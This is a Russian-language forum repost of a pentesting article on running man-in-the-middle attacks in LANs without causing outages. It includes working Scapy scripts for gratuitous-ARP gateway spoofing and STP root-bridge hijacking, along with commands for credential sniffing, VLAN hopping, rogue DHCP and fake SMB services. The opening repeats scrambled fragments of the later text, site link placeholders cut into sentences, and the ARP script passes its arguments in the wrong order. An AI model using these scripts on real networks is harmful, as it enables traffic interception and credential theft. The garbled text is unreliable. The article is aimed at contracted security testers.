stihl не предоставил(а) никакой дополнительной информации.
MITM — это самая импактная атака, которую можно провести в сети. Но одновременно это и самая опасная техника с точки зрения рисков для инфраструктуры. В этой статье я расскажу о том, как спуфить при пентесте, чтобы ничего не сломать по дороге и не устроить DoS.
Также будет полезно отключить ICMP Redirect. При проведении MITM твоя машина может генерировать эти сообщения, что вызовет тревогу сенсоров систем IDS/IPS.
Давай зададим правило NAT, которое позволит видеть не только входящий во время MITM трафик, но еще и исходящий.
Однако у этого правила может быть побочный эффект.
Однажды мой коллега по цеху во время MITM как раз таки и настроил такое правило. В инфраструктуре заказчика были Zabbix-агенты, которые он спуфил. И это правило привело к тому, что Zabbix-сервер больше не мог достучаться до Zabbix-агентов, так как оно, по сути, спуфит адреса легитимных хостов. Разумеется, от такого внезапного события сетевики были в шоке.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся — полезнейшие инструменты для удобного сбора данных в эфире. Обычно их используют для того, чтобы вытащить из трафика пароли, NTLM-хеши, строки SNMP Community и другие интересные вещи.
Давай пройдемся по каждой настройке:
В TCP каждая сторона устанавливает размер окна. Соответствующее количество байтов может быть отправлено без подтверждения. Window Scaling предоставляет возможность увеличивать этот размер окна, что особенно полезно при работе с высокоскоростными сетями.
Инструмент Above позволит обнаружить теги 802.1Q на транковом порте коммутатора. Затем атакующий, зная о VLAN ID, создаст виртуальные VLAN-интерфейсы и прыгнет в другой VLAN-сегмент.
Теги 802.1Q в сетевых пакетах
Обнаружение 802.1Q-кадров с помощью Above
Также сниффинг кадров 802.1Q будет очень полезен при компрометации гипервизора, поскольку обычно гипервизор и находится на транковых каналах.
При таком виде спуфинга есть опасность в виде DHCP Lease Time. Грубо говоря, сколько длится таймер Lease Time, столько ты и должен обслуживать пользователей, так как ты становишься для них шлюзом по умолчанию. Если же будет так, что ты выставил DHCP Lease Time условно на один день, а спуфить прекратишь через 30 минут, у легитимных клиентов возникнет DoS. Они запросят новую конфигурацию только спустя день. Согласись, не очень приятная ситуация.
При проведении ARP-спуфинга следи за маской подсети, с которой собираешься работать. Если ты возьмешь слишком большую маску, твое железо может просто не выдержать нагрузки и возникнет DoS. Это частая ошибка в практике пентестеров. Будь осторожен с количеством хостов, которые ты собрался спуфить.
Закончив спуфить хосты, ты должен генерировать и отправлять обратные IS-AT-кадры, которые восстанавливают состояние ARP-таблиц хостов до атаки. Это очень важный момент. Хост или сервис могут и не запросить ARP, тогда они будут думать, что ты все еще их шлюз. А это DoS. Это очень важный момент, который стоит учитывать. Кстати говоря, Ettercap и Arpspoof отлично делают эту работу, а по окончании генерируют необходимые IS-AT-кадры и восстанавливают структуру ARP-таблиц хостов.
Вот Python-код, который будет генерировать и отправлять GARP-кадр каждые 300 секунд.
Однако есть вполне рабочий вектор Mocking-атаки, при которой атакующий может подменить какую‑нибудь службу в инфраструктуре путем редистрибуции статического маршрута. Предположим, ты хочешь подделать какую‑нибудь службу SMB по адресу 10.1.1.33/32. Тогда тебе нужно настроить соответствующий маршрут и распространить его по сети с помощью редистрибуции.
После такой инъекции тебе будет достаточно установить этот адрес на свой хост с помощью того же ifconfig и запустить ложный SMB-сервис, например impacket. Это вроде какого‑нибудь Evil Twin.
Подробно эту атаку я разобрал в своей статье «Для просмотра ссылки Войдиили Зарегистрируйся».
Вот пример рабочей BPDU-инъекции, которая позволит тебе отобрать роль корневого коммутатора. Опять же это приведет только к частичной MITM-атаке. Не весь трафик в сети бегает через корневой коммутатор.
Отправка такого кадра осуществляется на мультикастовый адрес STP — 01:80:C2:00:00:00.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Начнем с теории. Я покажу, какие параметры нужны для корректного проведения MITM. Эти настройки позволят тебе избежать непреднамеренного DoS.
Маршрутизация трафика и неразборчивый режим
Классика жанра: переключить свой интерфейс в promiscuous mode и разрешить маршрутизацию. Разрешение маршрутизации — это вообще очень важная настройка, так как без нее во время MITM трафик легитимных хостов будет упираться в твою ОС и дальше не пройдет, а это вызовет DoS.
Код:
sudo ip link set dev eth0 promisc
sudo sysctl -w net.ipv4.ip_forward=1
Также будет полезно отключить ICMP Redirect. При проведении MITM твоя машина может генерировать эти сообщения, что вызовет тревогу сенсоров систем IDS/IPS.
Код:
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
Возможности порта коммутатора
Так или иначе при MITM ты будешь упираться в возможности порта коммутатора. Если на порте коммутатора условно пропускная способность 1 Гбит/с, то выше этой отметки не прыгнуть. Поэтому не рекомендуется спуфить слишком много хостов.NAT Helper, маскарадинг и его побочные эффекты
Через тебя может проходить FTP, H.323 и другой трафик, который плохо работает с NAT. Модуль nf_conntrack поможет прохождению трафика таких протоколов:sudo modprobe nf_conntrack
Давай зададим правило NAT, которое позволит видеть не только входящий во время MITM трафик, но еще и исходящий.
sudo iptables -t nat -A POSTROUTING -o eth0 -J MASQUERADE
Однако у этого правила может быть побочный эффект.
Однажды мой коллега по цеху во время MITM как раз таки и настроил такое правило. В инфраструктуре заказчика были Zabbix-агенты, которые он спуфил. И это правило привело к тому, что Zabbix-сервер больше не мог достучаться до Zabbix-агентов, так как оно, по сути, спуфит адреса легитимных хостов. Разумеется, от такого внезапного события сетевики были в шоке.
Поиск чувствительных данных в эфире
Утилиты Для просмотра ссылки Войдиsudo python2 net-creds -i eth0
sudo python3 ./Pcredz -i eth0
Ядро Linux
При MITM твое устройство должно быть готово к обработке большого количества трафика. Можно немного затюнить ядро Linux для оптимальной работы с большим количеством трафика, который ты будешь принимать во время спуфинга сети.
Код:
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn = 65535
sudo sysctl -w net.core.netdev_max_backlog = 65536
sudo sysctl -w net.ipv4.tcp_fin_timeout=15
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
sudo sysctl -w net.ipv4.tcp_tw_recycle=1
sudo sysctl -w net.ipv4.tcp_max_tw_buckets=65536
Давай пройдемся по каждой настройке:
- net.core.somaxconn = 65535 задает максимальное количество соединений, которые могут ожидать обработки в очереди. Это важно для приложений с высокой нагрузкой, чтобы предотвратить отбрасывание новых соединений из‑за переполненной очереди;
- net.core.netdev_max_backlog = 65536 определяет максимальный размер очереди для сетевых устройств, обрабатывающих входящий трафик. Увеличение этого параметра позволяет более эффективно обрабатывать пакеты в сетевом стеке;
- net.ipv4.tcp_fin_timeout=15 — этот параметр устанавливает время в секундах, в течение которого соединение ожидает завершения после отправки финишного пакета (FIN). Значение 15 секунд — компромисс между своевременным освобождением ресурсов и предотвращением возможных проблем с переиспользованием портов;
- net.ipv4.tcp_tw_reuse=1 — когда этот параметр установлен в единицу, он разрешает повторное использование сокетов TIME-WAIT для новых соединений. TIME-WAIT — это состояние, в котором сокет ждет, прежде чем полностью закрыться. Включение этой опции позволяет использовать порты, находящиеся в состоянии TIME-WAIT, для новых соединений, что может уменьшить расход портов при высокой нагрузке;
- net.ipv4.tcp_tw_recycle=1 — этот параметр активирует режим повторного использования сокетов TIME-WAIT. Включение этой опции позволяет ядру заново использовать сокеты TIME-WAIT, применяя хеш‑функцию для распределения их по нескольким очередям. Это может улучшить эффективность обработки сокетов TIME-WAIT в условиях высокой нагрузки;
- net.ipv4.tcp_max_tw_buckets=65536 — этот параметр устанавливает максимальное количество TIME-WAIT-сокетов, которые могут быть в очереди. Увеличение этого значения может предотвратить отбрасывание сокетов TIME-WAIT в случае, если они поступают слишком быстро.
TCP Window Scaling
Параметр TCP Window Scaling управляет масштабированием окна TCP. Увеличение TCP-окна может улучшить производительность передачи данных в сети с высокой задержкой или высокой нагрузкой.В TCP каждая сторона устанавливает размер окна. Соответствующее количество байтов может быть отправлено без подтверждения. Window Scaling предоставляет возможность увеличивать этот размер окна, что особенно полезно при работе с высокоскоростными сетями.
sudo sysctl -w net.ipv4.tcp_window_scaling=1
Обход VLAN-сегментации (Cisco 2960)
Внутри локальной сети атакующий может случайно напороться на транковый порт. Чаще всего такое случается с коммутаторами Cisco, за которыми недостаточно доглядели в продакшене и не настроили как следует. Главная проблема в том, что в коммутаторах Cisco 2960 по умолчанию все порты включены и находятся в режиме DTP Dynamic Auto. Это может повлечь за собой атаку VLAN Hopping, при которой атакующий выполняет инъекцию кадра DTP Desirable.Инструмент Above позволит обнаружить теги 802.1Q на транковом порте коммутатора. Затем атакующий, зная о VLAN ID, создаст виртуальные VLAN-интерфейсы и прыгнет в другой VLAN-сегмент.
Код:
sudo apt install above
sudo above --interface eth0 --timer 300
Также сниффинг кадров 802.1Q будет очень полезен при компрометации гипервизора, поскольку обычно гипервизор и находится на транковых каналах.
DHCP Spoofing, но без Exhaustion
Эта атака выглядит так. Атакующий в своей ОС поднимает ложный DHCP-сервер. Атакующий может уже быть ближайшим DHCP-сервером, по сравнению с легитимным DHCP-сервером, который обычно находится в другом сегменте, и тогда злоумышленнику даже не нужно применять сомнительный DHCP Exhaustion. Почему сомнительный? Потому что это лишнее негативное воздействие на сеть. После такого пентеста сетевикам придется посетить DHCP-серверы и почистить Lease-таблицы. Если ты изучал эту MITM-атаку, наверняка помнишь, что она упоминалась вместе с DHCP Exhaustion, однако эта схема наносит сильный урон инфраструктуре.При таком виде спуфинга есть опасность в виде DHCP Lease Time. Грубо говоря, сколько длится таймер Lease Time, столько ты и должен обслуживать пользователей, так как ты становишься для них шлюзом по умолчанию. Если же будет так, что ты выставил DHCP Lease Time условно на один день, а спуфить прекратишь через 30 минут, у легитимных клиентов возникнет DoS. Они запросят новую конфигурацию только спустя день. Согласись, не очень приятная ситуация.
ARP Scanning
Во время пентеста будь осторожен с инструментами, которые выполняют ARP-сканирование. На уровне коммутации может быть настроена система Storm Control, которая заблокирует порт, если широковещательный трафик превышает заданный порог. Нужно проводить либо более медленное сканирование (добавить задержку перед отправкой следующего ARP-кадра), либо пассивную разведку, при которой инструмент полагается только на изучение трафика (например, так делает Netdiscover).ARP Spoofing
Это самый распространенный вид MITM, он представляет собой подделывание записей в ARP-таблицах. Таким образом атакующий навязывает свой адрес в качестве адреса шлюза.При проведении ARP-спуфинга следи за маской подсети, с которой собираешься работать. Если ты возьмешь слишком большую маску, твое железо может просто не выдержать нагрузки и возникнет DoS. Это частая ошибка в практике пентестеров. Будь осторожен с количеством хостов, которые ты собрался спуфить.
Закончив спуфить хосты, ты должен генерировать и отправлять обратные IS-AT-кадры, которые восстанавливают состояние ARP-таблиц хостов до атаки. Это очень важный момент. Хост или сервис могут и не запросить ARP, тогда они будут думать, что ты все еще их шлюз. А это DoS. Это очень важный момент, который стоит учитывать. Кстати говоря, Ettercap и Arpspoof отлично делают эту работу, а по окончании генерируют необходимые IS-AT-кадры и восстанавливают структуру ARP-таблиц хостов.
Спуфинг в системе горячего резервирования FHRP
Это крайне дерзкая MITM-атака: при спуфинге FHRP-мастера весь трафик сегмента пойдет в твою сторону, так как твой адрес будет адресом шлюза по умолчанию для остальных легитимных хостов. Это рискованный вектор, так как твое оборудование должно быть готово к такому мощному потоку трафика.Необходимость использовать GARP
При спуфинге домена FHRP необходимо отправить специальный кадр Gratuitous ARP, который уведомит весь сегмент о том, что возникла новая привязка MAC-адреса и IP-адреса. Ведь при захвате FHRP-мастера ты будешь обслуживать его и отвечать за адрес шлюза по умолчанию для конечных хостов.Вот Python-код, который будет генерировать и отправлять GARP-кадр каждые 300 секунд.
Код:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.l2 import *
import argparse
l2broad = "FF:FF:FF:FF:FF:FF"
def take_args():
parser = argparse.ArgumentParser()
parser.add_argument("--gateway", dest="gateway", type=str, required=True, help="Choose gateway IP address")
parser.add_argument("--interface", dest="interface", type=str, required=True, help="Choose your interface for attack")
parser.add_argument("--mac", dest="evilmac", type=str, required=True, help="Specify your MAC Address")
args = parser.parse_args()
return args
args = take_args()
def garp(gateway, interface, evilmac):
ether_frame = Ether(src=args.evilmac, dst=l2broad)
arp_frame = ARP(op="is-at", pdst=args.gateway, hwsrc=args.evilmac, hwdst=l2broad, psrc=args.gateway)
garp_frame = ether_frame / arp_frame
sendp(garp_frame, iface=args.interface, inter=300, loop=1, verbose=1)
garp(args.interface, args.evilmac, args.gateway)
info
Полный технический обзор атак на домены FHRP я сделал в статье «Для просмотра ссылки Войдиили Зарегистрируйся».
Спуфинг в сети с динамической маршрутизацией
MITM в домене динамической маршрутизации невозможен. Если спуфить адрес сервера, который находится в другом сегменте, возникнет просто‑напросто петля маршрутизации. Трафик к хосту, который ты спуфишь, будет идти по кругу: от легитимного хоста до твоего хоста и до шлюза по умолчанию.Однако есть вполне рабочий вектор Mocking-атаки, при которой атакующий может подменить какую‑нибудь службу в инфраструктуре путем редистрибуции статического маршрута. Предположим, ты хочешь подделать какую‑нибудь службу SMB по адресу 10.1.1.33/32. Тогда тебе нужно настроить соответствующий маршрут и распространить его по сети с помощью редистрибуции.
После такой инъекции тебе будет достаточно установить этот адрес на свой хост с помощью того же ifconfig и запустить ложный SMB-сервис, например impacket. Это вроде какого‑нибудь Evil Twin.
Подробно эту атаку я разобрал в своей статье «Для просмотра ссылки Войди
Спуфинг дерева STP
Суть этой атаки заключается в перехвате роли корневого коммутатора путем инъекции кадра BPDU с наименьшим значением приоритета. Однако это приведет лишь к частичной MITM-атаке.Вот пример рабочей BPDU-инъекции, которая позволит тебе отобрать роль корневого коммутатора. Опять же это приведет только к частичной MITM-атаке. Не весь трафик в сети бегает через корневой коммутатор.
Отправка такого кадра осуществляется на мультикастовый адрес STP — 01:80:C2:00:00:00.
Код:
from scapy.all import *
INTERFACE = "eth0"
ATTACKER_MAC = "00:11:22:33:44:55"
STP_MCAST = "01:80:C2:00:00:00"
def spoof():
frame = Dot3(src=ATTACKER_MAC, dst=STP_MCAST)
llc_layer = LLC(dsap=0x042, ssap=0x042, ctrl=3)
mal_bpdu = STP(rootmac=ATTACKER_MAC, bpduflags=0x01, bridgemac=ATTACKER_MAC)
mal_stp_bpdu = frame / llc_layer / mal_bpdu
sendp(mal_stp_bpdu, iface=INTERFACE, inter=2, loop=1, verbose=1)
spoof()
info
Методы защиты сети от спуфинг‑атак я рассмотрел в статье «Для просмотра ссылки Войдиили Зарегистрируйся».